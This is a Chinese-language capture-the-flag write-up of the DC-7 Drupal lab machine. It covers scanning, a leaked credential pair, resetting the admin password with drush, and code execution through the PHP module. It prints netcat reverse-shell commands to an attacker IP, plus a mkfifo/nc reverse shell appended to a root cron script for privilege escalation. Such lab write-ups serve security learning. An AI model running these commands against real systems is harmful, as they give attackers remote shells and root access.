DC7靶机渗透全流程
DC-7 √ Drupal
参考:https://blog.csdn.net/weixin_43583637/article/details/102809227
1.nmap
nmap扫IP与端口:
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.167 -p 0-65535
2.wappalyzer
3.信息泄露
搜索:@DC7USER
重要文件:config.php
该配置文件暴露了账号和密码
username = "dc7user";
password = "MdR3xOgB7#dW";
SSH连接:
查看文件:
ls
cd backups
发现了两个.gpg结尾的文件
.gpg
文件是使用 GnuPG(GNU Privacy Guard)工具进行加密操作后生成的文件。GnuPG 是一个免费、开源的加密软件,用于对文件和通信进行加密、签名和验证。
.gpg
文件是通过将原始文件使用 GnuPG 进行加密得到的。它们包含了经过加密处理的数据,并且只能被拥有相应私钥的人解密。GnuPG 使用一种称为“公钥加密”的加密技术,其中包括公钥和私钥。在使用 GnuPG 加密时,接收者会生成一对密钥:公钥和私钥。发送者使用接收者的公钥对要加密的文件进行加密,并生成一个
.gpg
文件。然后,发送者将该文件发送给接收者。接收者可以使用自己的私钥解密.gpg
文件,并还原为原始文件。
此路不通,则查看mbox文件:
发现这是一个计划任务,定时备份,并且备份执行的源码在/opt/scripts目录下
cd /opt/scripts
cat backups.sh
发现了两个重要命令:drush和gpg
4.修改admin密码
gpg命令用来加密
drush命令是drupal框架中用来做一些配置的命令,可以改变用户名和密码
cd /var/www/html
ls
由于网站一般都有一个管理员-admin用户,所以这里使用drush命令修改admin用户的密码
drush user-password admin --password="666"
简单解释:
回到网页并点击右上角的Log in 后:
准备反弹shell
5.反弹shell-www-data
现在需要将PHP单独作为一个模块导入:
PHP介绍页面与模块包下载地址:
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
然后来到网站的欢迎页面,也就是首页的编辑区:
然后按"Save"保存
通过蚁剑连接:
接下来反弹shell与切换交互式shell:
nc -e /bin/bash 192.168.40.148 2333
nc -lvnp 2333
python -c "import pty;pty.spawn('/bin/bash');"
发现当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属的组是www-data,所以当前用户可以对这个脚本文件进行操作,进行反弹shell
6.通过定时任务再次反弹shell-root
可见得backups.sh为root用户所建,属于www-data组.
且前面的-rwxrwxr-x表示了同组用户对backups.sh都有r,w,x的权限
# 靶机:/opt/scripts
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.40.148 2333 >/tmp/f" >> backups.sh
# kali:
nc -lvnp 2333
然后稍等片刻
注意
不能
在添加完反弹shell语句后使用./backups.sh
来执行此脚本.执行后虽然能反弹shell,但是弹得是www-data用户的shell,如图:
接下来拿flag:
7.小结
# nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.167 -p 0-65535
# wappalyzer
Drupal
# 信息泄露
github->账号密码(config.php)->SSH
# cd /var/www/html并修改admin用户密码
drush user-password admin --password="666" # Drupal下特有
# 安装PHP模块并反弹普通用户的shell(或者是连蚁剑)
nc -e /bin/bash 192.168.40.167
# 通过定时任务反弹root用户shell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.40.148 2333 >/tmp/f" >> backups.sh